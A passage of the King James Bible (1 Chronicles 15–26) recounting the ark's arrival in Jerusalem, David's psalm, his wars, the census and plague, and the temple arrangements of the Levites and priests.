sanctified themselves to bring up +the ark of the LORD God of Israel. + +15:15 And the children of the Levites bare the ark of God upon their +shoulders with the staves thereon, as Moses commanded according to the +word of the LORD. + +15:16 And David spake to the chief of the Levites to appoint their +brethren to be the singers with instruments of musick, psalteries and +harps and cymbals, sounding, by lifting up the voice with joy. + +15:17 So the Levites appointed Heman the son of Joel; and of his +brethren, Asaph the son of Berechiah; and of the sons of Merari their +brethren, Ethan the son of Kushaiah; 15:18 And with them their +brethren of the second degree, Zechariah, Ben, and Jaaziel, and +Shemiramoth, and Jehiel, and Unni, Eliab, and Benaiah, and Maaseiah, +and Mattithiah, and Elipheleh, and Mikneiah, and Obededom, and Jeiel, +the porters. + +15:19 So the singers, Heman, Asaph, and Ethan, were appointed to sound +with cymbals of brass; 15:20 And Zechariah, and Aziel, and +Shemiramoth, and Jehiel, and Unni, and Eliab, and Maaseiah, and +Benaiah, with psalteries on Alamoth; 15:21 And Mattithiah, and +Elipheleh, and Mikneiah, and Obededom, and Jeiel, and Azaziah, with +harps on the Sheminith to excel. + +15:22 And Chenaniah, chief of the Levites, was for song: he instructed +about the song, because he was skilful. + +15:23 And Berechiah and Elkanah were doorkeepers for the ark. + +15:24 And Shebaniah, and Jehoshaphat, and Nethaneel, and Amasai, and +Zechariah, and Benaiah, and Eliezer, the priests, did blow with the +trumpets before the ark of God: and Obededom and Jehiah were +doorkeepers for the ark. + +15:25 So David, and the elders of Israel, and the captains over +thousands, went to bring up the ark of the covenant of the LORD out of +the house of Obededom with joy. + +15:26 And it came to pass, when God helped the Levites that bare the +ark of the covenant of the LORD, that they offered seven bullocks and +seven rams. + +15:27 And David was clothed with a robe of fine linen, and all the +Levites that bare the ark, and the singers, and Chenaniah the master +of the song with the singers: David also had upon him an ephod of +linen. + +15:28 Thus all Israel brought up the ark of the covenant of the LORD +with shouting, and with sound of the cornet, and with trumpets, and +with cymbals, making a noise with psalteries and harps. + +15:29 And it came to pass, as the ark of the covenant of the LORD came +to the city of David, that Michal, the daughter of Saul looking out at +a window saw king David dancing and playing: and she despised him in +her heart. + +16:1 So they brought the ark of God, and set it in the midst of the +tent that David had pitched for it: and they offered burnt sacrifices +and peace offerings before God. + +16:2 And when David had made an end of offering the burnt offerings +and the peace offerings, he blessed the people in the name of the +LORD. + +16:3 And he dealt to every one of Israel, both man and woman, to every +one a loaf of bread, and a good piece of flesh, and a flagon of wine. + +16:4 And he appointed certain of the Levites to minister before the +ark of the LORD, and to record, and to thank and praise the LORD God +of Israel: 16:5 Asaph the chief, and next to him Zechariah, Jeiel, and +Shemiramoth, and Jehiel, and Mattithiah, and Eliab, and Benaiah, and +Obededom: and Jeiel with psalteries and with harps; but Asaph made a +sound with cymbals; 16:6 Benaiah also and Jahaziel the priests with +trumpets continually before the ark of the covenant of God. + +16:7 Then on that day David delivered first this psalm to thank the +LORD into the hand of Asaph and his brethren. + +16:8 Give thanks unto the LORD, call upon his name, make known his +deeds among the people. + +16:9 Sing unto him, sing psalms unto him, talk ye of all his wondrous +works. + +16:10 Glory ye in his holy name: let the heart of them rejoice that +seek the LORD. + +16:11 Seek the LORD and his strength, seek his face continually. + +16:12 Remember his marvellous works that he hath done, his wonders, +and the judgments of his mouth; 16:13 O ye seed of Israel his servant, +ye children of Jacob, his chosen ones. + +16:14 He is the LORD our God; his judgments are in all the earth. + +16:15 Be ye mindful always of his covenant; the word which he +commanded to a thousand generations; 16:16 Even of the covenant which +he made with Abraham, and of his oath unto Isaac; 16:17 And hath +confirmed the same to Jacob for a law, and to Israel for an +everlasting covenant, 16:18 Saying, Unto thee will I give the land of +Canaan, the lot of your inheritance; 16:19 When ye were but few, even +a few, and strangers in it. + +16:20 And when they went from nation to nation, and from one kingdom +to another people; 16:21 He suffered no man to do them wrong: yea, he +reproved kings for their sakes, 16:22 Saying, Touch not mine anointed, +and do my prophets no harm. + +16:23 Sing unto the LORD, all the earth; shew forth from day to day +his salvation. + +16:24 Declare his glory among the heathen; his marvellous works among +all nations. + +16:25 For great is the LORD, and greatly to be praised: he also is to +be feared above all gods. + +16:26 For all the gods of the people are idols: but the LORD made the +heavens. + +16:27 Glory and honour are in his presence; strength and gladness are +in his place. + +16:28 Give unto the LORD, ye kindreds of the people, give unto the +LORD glory and strength. + +16:29 Give unto the LORD the glory due unto his name: bring an +offering, and come before him: worship the LORD in the beauty of +holiness. + +16:30 Fear before him, all the earth: the world also shall be stable, +that it be not moved. + +16:31 Let the heavens be glad, and let the earth rejoice: and let men +say among the nations, The LORD reigneth. + +16:32 Let the sea roar, and the fulness thereof: let the fields +rejoice, and all that is therein. + +16:33 Then shall the trees of the wood sing out at the presence of the +LORD, because he cometh to judge the earth. + +16:34 O give thanks unto the LORD; for he is good; for his mercy +endureth for ever. + +16:35 And say ye, Save us, O God of our salvation, and gather us +together, and deliver us from the heathen, that we may give thanks to +thy holy name, and glory in thy praise. + +16:36 Blessed be the LORD God of Israel for ever and ever. And all the +people said, Amen, and praised the LORD. + +16:37 So he left there before the ark of the covenant of the LORD +Asaph and his brethren, to minister before the ark continually, as +every day's work required: 16:38 And Obededom with their brethren, +threescore and eight; Obededom also the son of Jeduthun and Hosah to +be porters: 16:39 And Zadok the priest, and his brethren the priests, +before the tabernacle of the LORD in the high place that was at +Gibeon, 16:40 To offer burnt offerings unto the LORD upon the altar of +the burnt offering continually morning and evening, and to do +according to all that is written in the law of the LORD, which he +commanded Israel; 16:41 And with them Heman and Jeduthun, and the rest +that were chosen, who were expressed by name, to give thanks to the +LORD, because his mercy endureth for ever; 16:42 And with them Heman +and Jeduthun with trumpets and cymbals for those that should make a +sound, and with musical instruments of God. And the sons of Jeduthun +were porters. + +16:43 And all the people departed every man to his house: and David +returned to bless his house. + +17:1 Now it came to pass, as David sat in his house, that David said +to Nathan the prophet, Lo, I dwell in an house of cedars, but the ark +of the covenant of the LORD remaineth under curtains. + +17:2 Then Nathan said unto David, Do all that is in thine heart; for +God is with thee. + +17:3 And it came to pass the same night, that the word of God came to +Nathan, saying, 17:4 Go and tell David my servant, Thus saith the +LORD, Thou shalt not build me an house to dwell in: 17:5 For I have +not dwelt in an house since the day that I brought up Israel unto this +day; but have gone from tent to tent, and from one tabernacle to +another. + +17:6 Wheresoever I have walked with all Israel, spake I a word to any +of the judges of Israel, whom I commanded to feed my people, saying, +Why have ye not built me an house of cedars? 17:7 Now therefore thus +shalt thou say unto my servant David, Thus saith the LORD of hosts, I +took thee from the sheepcote, even from following the sheep, that thou +shouldest be ruler over my people Israel: 17:8 And I have been with +thee whithersoever thou hast walked, and have cut off all thine +enemies from before thee, and have made thee a name like the name of +the great men that are in the earth. + +17:9 Also I will ordain a place for my people Israel, and will plant +them, and they shall dwell in their place, and shall be moved no more; +neither shall the children of wickedness waste them any more, as at +the beginning, 17:10 And since the time that I commanded judges to be +over my people Israel. Moreover I will subdue all thine enemies. +Furthermore I tell thee that the LORD will build thee an house. + +17:11 And it shall come to pass, when thy days be expired that thou +must go to be with thy fathers, that I will raise up thy seed after +thee, which shall be of thy sons; and I will establish his kingdom. + +17:12 He shall build me an house, and I will stablish his throne for +ever. + +17:13 I will be his father, and he shall be my son: and I will not +take my mercy away from him, as I took it from him that was before +thee: 17:14 But I will settle him in mine house and in my kingdom for +ever: and his throne shall be established for evermore. + +17:15 According to all these words, and according to all this vision, +so did Nathan speak unto David. + +17:16 And David the king came and sat before the LORD, and said, Who +am I, O LORD God, and what is mine house, that thou hast brought me +hitherto? 17:17 And yet this was a small thing in thine eyes, O God; +for thou hast also spoken of thy servant's house for a great while to +come, and hast regarded me according to the estate of a man of high +degree, O LORD God. + +17:18 What can David speak more to thee for the honour of thy servant? +for thou knowest thy servant. + +17:19 O LORD, for thy servant's sake, and according to thine own +heart, hast thou done all this greatness, in making known all these +great things. + +17:20 O LORD, there is none like thee, neither is there any God beside +thee, according to all that we have heard with our ears. + +17:21 And what one nation in the earth is like thy people Israel, whom +God went to redeem to be his own people, to make thee a name of +greatness and terribleness, by driving out nations from before thy +people whom thou hast redeemed out of Egypt? 17:22 For thy people +Israel didst thou make thine own people for ever; and thou, LORD, +becamest their God. + +17:23 Therefore now, LORD, let the thing that thou hast spoken +concerning thy servant and concerning his house be established for +ever, and do as thou hast said. + +17:24 Let it even be established, that thy name may be magnified for +ever, saying, The LORD of hosts is the God of Israel, even a God to +Israel: and let the house of David thy servant be established before +thee. + +17:25 For thou, O my God, hast told thy servant that thou wilt build +him an house: therefore thy servant hath found in his heart to pray +before thee. + +17:26 And now, LORD, thou art God, and hast promised this goodness +unto thy servant: 17:27 Now therefore let it please thee to bless the +house of thy servant, that it may be before thee for ever: for thou +blessest, O LORD, and it shall be blessed for ever. + +18:1 Now after this it came to pass, that David smote the Philistines, +and subdued them, and took Gath and her towns out of the hand of the +Philistines. + +18:2 And he smote Moab; and the Moabites became David's servants, and +brought gifts. + +18:3 And David smote Hadarezer king of Zobah unto Hamath, as he went +to stablish his dominion by the river Euphrates. + +18:4 And David took from him a thousand chariots, and seven thousand +horsemen, and twenty thousand footmen: David also houghed all the +chariot horses, but reserved of them an hundred chariots. + +18:5 And when the Syrians of Damascus came to help Hadarezer king of +Zobah, David slew of the Syrians two and twenty thousand men. + +18:6 Then David put garrisons in Syriadamascus; and the Syrians became +David's servants, and brought gifts. Thus the LORD preserved David +whithersoever he went. + +18:7 And David took the shields of gold that were on the servants of +Hadarezer, and brought them to Jerusalem. + +18:8 Likewise from Tibhath, and from Chun, cities of Hadarezer, +brought David very much brass, wherewith Solomon made the brasen sea, +and the pillars, and the vessels of brass. + +18:9 Now when Tou king of Hamath heard how David had smitten all the +host of Hadarezer king of Zobah; 18:10 He sent Hadoram his son to king +David, to enquire of his welfare, and to congratulate him, because he +had fought against Hadarezer, and smitten him; (for Hadarezer had war +with Tou;) and with him all manner of vessels of gold and silver and +brass. + +18:11 Them also king David dedicated unto the LORD, with the silver +and the gold that he brought from all these nations; from Edom, and +from Moab, and from the children of Ammon, and from the Philistines, +and from Amalek. + +18:12 Moreover Abishai the son of Zeruiah slew of the Edomites in the +valley of salt eighteen thousand. + +18:13 And he put garrisons in Edom; and all the Edomites became +David's servants. Thus the LORD preserved David whithersoever he went. + +18:14 So David reigned over all Israel, and executed judgment and +justice among all his people. + +18:15 And Joab the son of Zeruiah was over the host; and Jehoshaphat +the son of Ahilud, recorder. + +18:16 And Zadok the son of Ahitub, and Abimelech the son of Abiathar, +were the priests; and Shavsha was scribe; 18:17 And Benaiah the son of +Jehoiada was over the Cherethites and the Pelethites; and the sons of +David were chief about the king. + +19:1 Now it came to pass after this, that Nahash the king of the +children of Ammon died, and his son reigned in his stead. + +19:2 And David said, I will shew kindness unto Hanun the son of +Nahash, because his father shewed kindness to me. And David sent +messengers to comfort him concerning his father. So the servants of +David came into the land of the children of Ammon to Hanun, to comfort +him. + +19:3 But the princes of the children of Ammon said to Hanun, Thinkest +thou that David doth honour thy father, that he hath sent comforters +unto thee? are not his servants come unto thee for to search, and to +overthrow, and to spy out the land? 19:4 Wherefore Hanun took David's +servants, and shaved them, and cut off their garments in the midst +hard by their buttocks, and sent them away. + +19:5 Then there went certain, and told David how the men were served. +And he sent to meet them: for the men were greatly ashamed. And the +king said, Tarry at Jericho until your beards be grown, and then +return. + +19:6 And when the children of Ammon saw that they had made themselves +odious to David, Hanun and the children of Ammon sent a thousand +talents of silver to hire them chariots and horsemen out of +Mesopotamia, and out of Syriamaachah, and out of Zobah. + +19:7 So they hired thirty and two thousand chariots, and the king of +Maachah and his people; who came and pitched before Medeba. And the +children of Ammon gathered themselves together from their cities, and +came to battle. + +19:8 And when David heard of it, he sent Joab, and all the host of the +mighty men. + +19:9 And the children of Ammon came out, and put the battle in array +before the gate of the city: and the kings that were come were by +themselves in the field. + +19:10 Now when Joab saw that the battle was set against him before and +behind, he chose out of all the choice of Israel, and put them in +array against the Syrians. + +19:11 And the rest of the people he delivered unto the hand of Abishai +his brother, and they set themselves in array against the children of +Ammon. + +19:12 And he said, If the Syrians be too strong for me, then thou +shalt help me: but if the children of Ammon be too strong for thee, +then I will help thee. + +19:13 Be of good courage, and let us behave ourselves valiantly for +our people, and for the cities of our God: and let the LORD do that +which is good in his sight. + +19:14 So Joab and the people that were with him drew nigh before the +Syrians unto the battle; and they fled before him. + +19:15 And when the children of Ammon saw that the Syrians were fled, +they likewise fled before Abishai his brother, and entered into the +city. Then Joab came to Jerusalem. + +19:16 And when the Syrians saw that they were put to the worse before +Israel, they sent messengers, and drew forth the Syrians that were +beyond the river: and Shophach the captain of the host of Hadarezer +went before them. + +19:17 And it was told David; and he gathered all Israel, and passed +over Jordan, and came upon them, and set the battle in array against +them. So when David had put the battle in array against the Syrians, +they fought with him. + +19:18 But the Syrians fled before Israel; and David slew of the +Syrians seven thousand men which fought in chariots, and forty +thousand footmen, and killed Shophach the captain of the host. + +19:19 And when the servants of Hadarezer saw that they were put to the +worse before Israel, they made peace with David, and became his +servants: neither would the Syrians help the children of Ammon any +more. + +20:1 And it came to pass, that after the year was expired, at the time +that kings go out to battle, Joab led forth the power of the army, and +wasted the country of the children of Ammon, and came and besieged +Rabbah. But David tarried at Jerusalem. And Joab smote Rabbah, and +destroyed it. + +20:2 And David took the crown of their king from off his head, and +found it to weigh a talent of gold, and there were precious stones in +it; and it was set upon David's head: and he brought also exceeding +much spoil out of the city. + +20:3 And he brought out the people that were in it, and cut them with +saws, and with harrows of iron, and with axes. Even so dealt David +with all the cities of the children of Ammon. And David and all the +people returned to Jerusalem. + +20:4 And it came to pass after this, that there arose war at Gezer +with the Philistines; at which time Sibbechai the Hushathite slew +Sippai, that was of the children of the giant: and they were subdued. + +20:5 And there was war again with the Philistines; and Elhanan the son +of Jair slew Lahmi the brother of Goliath the Gittite, whose spear +staff was like a weaver's beam. + +20:6 And yet again there was war at Gath, where was a man of great +stature, whose fingers and toes were four and twenty, six on each +hand, and six on each foot and he also was the son of the giant. + +20:7 But when he defied Israel, Jonathan the son of Shimea David's +brother slew him. + +20:8 These were born unto the giant in Gath; and they fell by the hand +of David, and by the hand of his servants. + +21:1 And Satan stood up against Israel, and provoked David to number +Israel. + +21:2 And David said to Joab and to the rulers of the people, Go, +number Israel from Beersheba even to Dan; and bring the number of them +to me, that I may know it. + +21:3 And Joab answered, The LORD make his people an hundred times so +many more as they be: but, my lord the king, are they not all my +lord's servants? why then doth my lord require this thing? why will +he be a cause of trespass to Israel? 21:4 Nevertheless the king's +word prevailed against Joab. Wherefore Joab departed, and went +throughout all Israel, and came to Jerusalem. + +21:5 And Joab gave the sum of the number of the people unto David. And +all they of Israel were a thousand thousand and an hundred thousand +men that drew sword: and Judah was four hundred threescore and ten +thousand men that drew sword. + +21:6 But Levi and Benjamin counted he not among them: for the king's +word was abominable to Joab. + +21:7 And God was displeased with this thing; therefore he smote +Israel. + +21:8 And David said unto God, I have sinned greatly, because I have +done this thing: but now, I beseech thee, do away the iniquity of thy +servant; for I have done very foolishly. + +21:9 And the LORD spake unto Gad, David's seer, saying, 21:10 Go and +tell David, saying, Thus saith the LORD, I offer thee three things: +choose thee one of them, that I may do it unto thee. + +21:11 So Gad came to David, and said unto him, Thus saith the LORD, +Choose thee 21:12 Either three years' famine; or three months to be +destroyed before thy foes, while that the sword of thine enemies +overtaketh thee; or else three days the sword of the LORD, even the +pestilence, in the land, and the angel of the LORD destroying +throughout all the coasts of Israel. Now therefore advise thyself what +word I shall bring again to him that sent me. + +21:13 And David said unto Gad, I am in a great strait: let me fall now +into the hand of the LORD; for very great are his mercies: but let me +not fall into the hand of man. + +21:14 So the LORD sent pestilence upon Israel: and there fell of +Israel seventy thousand men. + +21:15 And God sent an angel unto Jerusalem to destroy it: and as he +was destroying, the LORD beheld, and he repented him of the evil, and +said to the angel that destroyed, It is enough, stay now thine hand. +And the angel of the LORD stood by the threshingfloor of Ornan the +Jebusite. + +21:16 And David lifted up his eyes, and saw the angel of the LORD +stand between the earth and the heaven, having a drawn sword in his +hand stretched out over Jerusalem. Then David and the elders of +Israel, who were clothed in sackcloth, fell upon their faces. + +21:17 And David said unto God, Is it not I that commanded the people +to be numbered? even I it is that have sinned and done evil indeed; +but as for these sheep, what have they done? let thine hand, I pray +thee, O LORD my God, be on me, and on my father's house; but not on +thy people, that they should be plagued. + +21:18 Then the angel of the LORD commanded Gad to say to David, that +David should go up, and set up an altar unto the LORD in the +threshingfloor of Ornan the Jebusite. + +21:19 And David went up at the saying of Gad, which he spake in the +name of the LORD. + +21:20 And Ornan turned back, and saw the angel; and his four sons with +him hid themselves. Now Ornan was threshing wheat. + +21:21 And as David came to Ornan, Ornan looked and saw David, and went +out of the threshingfloor, and bowed himself to David with his face to +the ground. + +21:22 Then David said to Ornan, Grant me the place of this +threshingfloor, that I may build an altar therein unto the LORD: thou +shalt grant it me for the full price: that the plague may be stayed +from the people. + +21:23 And Ornan said unto David, Take it to thee, and let my lord the +king do that which is good in his eyes: lo, I give thee the oxen also +for burnt offerings, and the threshing instruments for wood, and the +wheat for the meat offering; I give it all. + +21:24 And king David said to Ornan, Nay; but I will verily buy it for +the full price: for I will not take that which is thine for the LORD, +nor offer burnt offerings without cost. + +21:25 So David gave to Ornan for the place six hundred shekels of gold +by weight. + +21:26 And David built there an altar unto the LORD, and offered burnt +offerings and peace offerings, and called upon the LORD; and he +answered him from heaven by fire upon the altar of burnt offering. + +21:27 And the LORD commanded the angel; and he put up his sword again +into the sheath thereof. + +21:28 At that time when David saw that the LORD had answered him in +the threshingfloor of Ornan the Jebusite, then he sacrificed there. + +21:29 For the tabernacle of the LORD, which Moses made in the +wilderness, and the altar of the burnt offering, were at that season +in the high place at Gibeon. + +21:30 But David could not go before it to enquire of God: for he was +afraid because of the sword of the angel of the LORD. + +22:1 Then David said, This is the house of the LORD God, and this is +the altar of the burnt offering for Israel. + +22:2 And David commanded to gather together the strangers that were in +the land of Israel; and he set masons to hew wrought stones to build +the house of God. + +22:3 And David prepared iron in abundance for the nails for the doors +of the gates, and for the joinings; and brass in abundance without +weight; 22:4 Also cedar trees in abundance: for the Zidonians and they +of Tyre brought much cedar wood to David. + +22:5 And David said, Solomon my son is young and tender, and the house +that is to be builded for the LORD must be exceeding magnifical, of +fame and of glory throughout all countries: I will therefore now make +preparation for it. So David prepared abundantly before his death. + +22:6 Then he called for Solomon his son, and charged him to build an +house for the LORD God of Israel. + +22:7 And David said to Solomon, My son, as for me, it was in my mind +to build an house unto the name of the LORD my God: 22:8 But the word +of the LORD came to me, saying, Thou hast shed blood abundantly, and +hast made great wars: thou shalt not build an house unto my name, +because thou hast shed much blood upon the earth in my sight. + +22:9 Behold, a son shall be born to thee, who shall be a man of rest; +and I will give him rest from all his enemies round about: for his +name shall be Solomon, and I will give peace and quietness unto Israel +in his days. + +22:10 He shall build an house for my name; and he shall be my son, and +I will be his father; and I will establish the throne of his kingdom +over Israel for ever. + +22:11 Now, my son, the LORD be with thee; and prosper thou, and build +the house of the LORD thy God, as he hath said of thee. + +22:12 Only the LORD give thee wisdom and understanding, and give thee +charge concerning Israel, that thou mayest keep the law of the LORD +thy God. + +22:13 Then shalt thou prosper, if thou takest heed to fulfil the +statutes and judgments which the LORD charged Moses with concerning +Israel: be strong, and of good courage; dread not, nor be dismayed. + +22:14 Now, behold, in my trouble I have prepared for the house of the +LORD an hundred thousand talents of gold, and a thousand thousand +talents of silver; and of brass and iron without weight; for it is in +abundance: timber also and stone have I prepared; and thou mayest add +thereto. + +22:15 Moreover there are workmen with thee in abundance, hewers and +workers of stone and timber, and all manner of cunning men for every +manner of work. + +22:16 Of the gold, the silver, and the brass, and the iron, there is +no number. Arise therefore, and be doing, and the LORD be with thee. + +22:17 David also commanded all the princes of Israel to help Solomon +his son, saying, 22:18 Is not the LORD your God with you? and hath he +not given you rest on every side? for he hath given the inhabitants of +the land into mine hand; and the land is subdued before the LORD, and +before his people. + +22:19 Now set your heart and your soul to seek the LORD your God; +arise therefore, and build ye the sanctuary of the LORD God, to bring +the ark of the covenant of the LORD, and the holy vessels of God, into +the house that is to be built to the name of the LORD. + +23:1 So when David was old and full of days, he made Solomon his son +king over Israel. + +23:2 And he gathered together all the princes of Israel, with the +priests and the Levites. + +23:3 Now the Levites were numbered from the age of thirty years and +upward: and their number by their polls, man by man, was thirty and +eight thousand. + +23:4 Of which, twenty and four thousand were to set forward the work +of the house of the LORD; and six thousand were officers and judges: +23:5 Moreover four thousand were porters; and four thousand praised +the LORD with the instruments which I made, said David, to praise +therewith. + +23:6 And David divided them into courses among the sons of Levi, +namely, Gershon, Kohath, and Merari. + +23:7 Of the Gershonites were, Laadan, and Shimei. + +23:8 The sons of Laadan; the chief was Jehiel, and Zetham, and Joel, +three. + +23:9 The sons of Shimei; Shelomith, and Haziel, and Haran, three. +These were the chief of the fathers of Laadan. + +23:10 And the sons of Shimei were, Jahath, Zina, and Jeush, and +Beriah. + +These four were the sons of Shimei. + +23:11 And Jahath was the chief, and Zizah the second: but Jeush and +Beriah had not many sons; therefore they were in one reckoning, +according to their father's house. + +23:12 The sons of Kohath; Amram, Izhar, Hebron, and Uzziel, four. + +23:13 The sons of Amram; Aaron and Moses: and Aaron was separated, +that he should sanctify the most holy things, he and his sons for +ever, to burn incense before the LORD, to minister unto him, and to +bless in his name for ever. + +23:14 Now concerning Moses the man of God, his sons were named of the +tribe of Levi. + +23:15 The sons of Moses were, Gershom, and Eliezer. + +23:16 Of the sons of Gershom, Shebuel was the chief. + +23:17 And the sons of Eliezer were, Rehabiah the chief. And Eliezer +had none other sons; but the sons of Rehabiah were very many. + +23:18 Of the sons of Izhar; Shelomith the chief. + +23:19 Of the sons of Hebron; Jeriah the first, Amariah the second, +Jahaziel the third, and Jekameam the fourth. + +23:20 Of the sons of Uzziel; Micah the first and Jesiah the second. + +23:21 The sons of Merari; Mahli, and Mushi. The sons of Mahli; +Eleazar, and Kish. + +23:22 And Eleazar died, and had no sons, but daughters: and their +brethren the sons of Kish took them. + +23:23 The sons of Mushi; Mahli, and Eder, and Jeremoth, three. + +23:24 These were the sons of Levi after the house of their fathers; +even the chief of the fathers, as they were counted by number of names +by their polls, that did the work for the service of the house of the +LORD, from the age of twenty years and upward. + +23:25 For David said, The LORD God of Israel hath given rest unto his +people, that they may dwell in Jerusalem for ever: 23:26 And also unto +the Levites; they shall no more carry the tabernacle, nor any vessels +of it for the service thereof. + +23:27 For by the last words of David the Levites were numbered from +twenty years old and above: 23:28 Because their office was to wait on +the sons of Aaron for the service of the house of the LORD, in the +courts, and in the chambers, and in the purifying of all holy things, +and the work of the service of the house of God; 23:29 Both for the +shewbread, and for the fine flour for meat offering, and for the +unleavened cakes, and for that which is baked in the pan, and for that +which is fried, and for all manner of measure and size; 23:30 And to +stand every morning to thank and praise the LORD, and likewise at +even: 23:31 And to offer all burnt sacrifices unto the LORD in the +sabbaths, in the new moons, and on the set feasts, by number, +according to the order commanded unto them, continually before the +LORD: 23:32 And that they should keep the charge of the tabernacle of +the congregation, and the charge of the holy place, and the charge of +the sons of Aaron their brethren, in the service of the house of the +LORD. + +24:1 Now these are the divisions of the sons of Aaron. The sons of +Aaron; Nadab, and Abihu, Eleazar, and Ithamar. + +24:2 But Nadab and Abihu died before their father, and had no +children: therefore Eleazar and Ithamar executed the priest's office. + +24:3 And David distributed them, both Zadok of the sons of Eleazar, +and Ahimelech of the sons of Ithamar, according to their offices in +their service. + +24:4 And there were more chief men found of the sons of Eleazar than +of the sons of Ithamar, and thus were they divided. Among the sons of +Eleazar there were sixteen chief men of the house of their fathers, +and eight among the sons of Ithamar according to the house of their +fathers. + +24:5 Thus were they divided by lot, one sort with another; for the +governors of the sanctuary, and governors of the house of God, were of +the sons of Eleazar, and of the sons of Ithamar. + +24:6 And Shemaiah the son of Nethaneel the scribe, one of the Levites, +wrote them before the king, and the princes, and Zadok the priest, and +Ahimelech the son of Abiathar, and before the chief of the fathers of +the priests and Levites: one principal household being taken for +Eleazar, and one taken for Ithamar. + +24:7 Now the first lot came forth to Jehoiarib, the second to Jedaiah, +24:8 The third to Harim, the fourth to Seorim, 24:9 The fifth to +Malchijah, the sixth to Mijamin, 24:10 The seventh to Hakkoz, the +eighth to Abijah, 24:11 The ninth to Jeshuah, the tenth to Shecaniah, +24:12 The eleventh to Eliashib, the twelfth to Jakim, 24:13 The +thirteenth to Huppah, the fourteenth to Jeshebeab, 24:14 The fifteenth +to Bilgah, the sixteenth to Immer, 24:15 The seventeenth to Hezir, the +eighteenth to Aphses, 24:16 The nineteenth to Pethahiah, the twentieth +to Jehezekel, 24:17 The one and twentieth to Jachin, the two and +twentieth to Gamul, 24:18 The three and twentieth to Delaiah, the four +and twentieth to Maaziah. + +24:19 These were the orderings of them in their service to come into +the house of the LORD, according to their manner, under Aaron their +father, as the LORD God of Israel had commanded him. + +24:20 And the rest of the sons of Levi were these: Of the sons of +Amram; Shubael: of the sons of Shubael; Jehdeiah. + +24:21 Concerning Rehabiah: of the sons of Rehabiah, the first was +Isshiah. + +24:22 Of the Izharites; Shelomoth: of the sons of Shelomoth; Jahath. + +24:23 And the sons of Hebron; Jeriah the first, Amariah the second, +Jahaziel the third, Jekameam the fourth. + +24:24 Of the sons of Uzziel; Michah: of the sons of Michah; Shamir. + +24:25 The brother of Michah was Isshiah: of the sons of Isshiah; +Zechariah. + +24:26 The sons of Merari were Mahli and Mushi: the sons of Jaaziah; +Beno. + +24:27 The sons of Merari by Jaaziah; Beno, and Shoham, and Zaccur, and +Ibri. + +24:28 Of Mahli came Eleazar, who had no sons. + +24:29 Concerning Kish: the son of Kish was Jerahmeel. + +24:30 The sons also of Mushi; Mahli, and Eder, and Jerimoth. These +were the sons of the Levites after the house of their fathers. + +24:31 These likewise cast lots over against their brethren the sons of +Aaron in the presence of David the king, and Zadok, and Ahimelech, and +the chief of the fathers of the priests and Levites, even the +principal fathers over against their younger brethren. + +25:1 Moreover David and the captains of the host separated to the +service of the sons of Asaph, and of Heman, and of Jeduthun, who +should prophesy with harps, with psalteries, and with cymbals: and the +number of the workmen according to their service was: 25:2 Of the sons +of Asaph; Zaccur, and Joseph, and Nethaniah, and Asarelah, the sons of +Asaph under the hands of Asaph, which prophesied according to the +order of the king. + +25:3 Of Jeduthun: the sons of Jeduthun; Gedaliah, and Zeri, and +Jeshaiah, Hashabiah, and Mattithiah, six, under the hands of their +father Jeduthun, who prophesied with a harp, to give thanks and to +praise the LORD. + +25:4 Of Heman: the sons of Heman: Bukkiah, Mattaniah, Uzziel, Shebuel, +and Jerimoth, Hananiah, Hanani, Eliathah, Giddalti, and Romamtiezer, +Joshbekashah, Mallothi, Hothir, and Mahazioth: 25:5 All these were the +sons of Heman the king's seer in the words of God, to lift up the +horn. And God gave to Heman fourteen sons and three daughters. + +25:6 All these were under the hands of their father for song in the +house of the LORD, with cymbals, psalteries, and harps, for the +service of the house of God, according to the king's order to Asaph, +Jeduthun, and Heman. + +25:7 So the number of them, with their brethren that were instructed +in the songs of the LORD, even all that were cunning, was two hundred +fourscore and eight. + +25:8 And they cast lots, ward against ward, as well the small as the +great, the teacher as the scholar. + +25:9 Now the first lot came forth for Asaph to Joseph: the second to +Gedaliah, who with his brethren and sons were twelve: 25:10 The third +to Zaccur, he, his sons, and his brethren, were twelve: 25:11 The +fourth to Izri, he, his sons, and his brethren, were twelve: 25:12 The +fifth to Nethaniah, he, his sons, and his brethren, were twelve: 25:13 +The sixth to Bukkiah, he, his sons, and his brethren, were twelve: +25:14 The seventh to Jesharelah, he, his sons, and his brethren, were +twelve: 25:15 The eighth to Jeshaiah, he, his sons, and his brethren, +were twelve: 25:16 The ninth to Mattaniah, he, his sons, and his +brethren, were twelve: 25:17 The tenth to Shimei, he, his sons, and +his brethren, were twelve: 25:18 The eleventh to Azareel, he, his +sons, and his brethren, were twelve: 25:19 The twelfth to Hashabiah, +he, his sons, and his brethren, were twelve: 25:20 The thirteenth to +Shubael, he, his sons, and his brethren, were twelve: 25:21 The +fourteenth to Mattithiah, he, his sons, and his brethren, were twelve: +25:22 The fifteenth to Jeremoth, he, his sons, and his brethren, were +twelve: 25:23 The sixteenth to Hananiah, he, his sons, and his +brethren, were twelve: 25:24 The seventeenth to Joshbekashah, he, his +sons, and his brethren, were twelve: 25:25 The eighteenth to Hanani, +he, his sons, and his brethren, were twelve: 25:26 The nineteenth to +Mallothi, he, his sons, and his brethren, were twelve: 25:27 The +twentieth to Eliathah, he, his sons, and his brethren, were twelve: +25:28 The one and twentieth to Hothir, he, his sons, and his brethren, +were twelve: 25:29 The two and twentieth to Giddalti, he, his sons, +and his brethren, were twelve: 25:30 The three and twentieth to +Mahazioth, he, his sons, and his brethren, were twelve: 25:31 The four +and twentieth to Romamtiezer, he, his sons, and his brethren, were +twelve. + +26:1 Concerning the divisions of the porters: Of the Korhites was +Meshelemiah the son of Kore, of the sons of Asaph. + +26:2 And the sons of Meshelemiah were, Zechariah the firstborn, +Jediael the second, Zebadiah the third, Jathniel the fourth, 26:3 Elam +the fifth, Jehohanan the sixth, Elioenai the seventh. + +26:4 Moreover the sons of Obededom were, Shemaiah the firstborn, +Jehozabad the second, Joah the third, and Sacar the fourth, and +Nethaneel the fifth. + +26:5 Ammiel the sixth, Issachar the seventh, Peulthai the eighth: for +God blessed him. + +26:6 Also unto Shemaiah his son were sons born, that ruled throughout +the house of their father: for they were mighty men of valour. + +26:7 The sons of Shemaiah; Othni, and Rephael, and Obed, Elzabad, +whose brethren were strong men, Elihu, and Semachiah. + +26:8 All these of the sons of Obededom: they and their sons and their +brethren, able men for strength for the service, were threescore and +two of Obededom. + +26:9 And Meshelemiah had sons and brethren, strong men, eighteen. + +26:10 Also Hosah, of the children of Merari, had sons; Simri the +chief, (for though he was not the firstborn, yet his father made him +the chief;) 26:11 Hilkiah the second, Tebaliah the 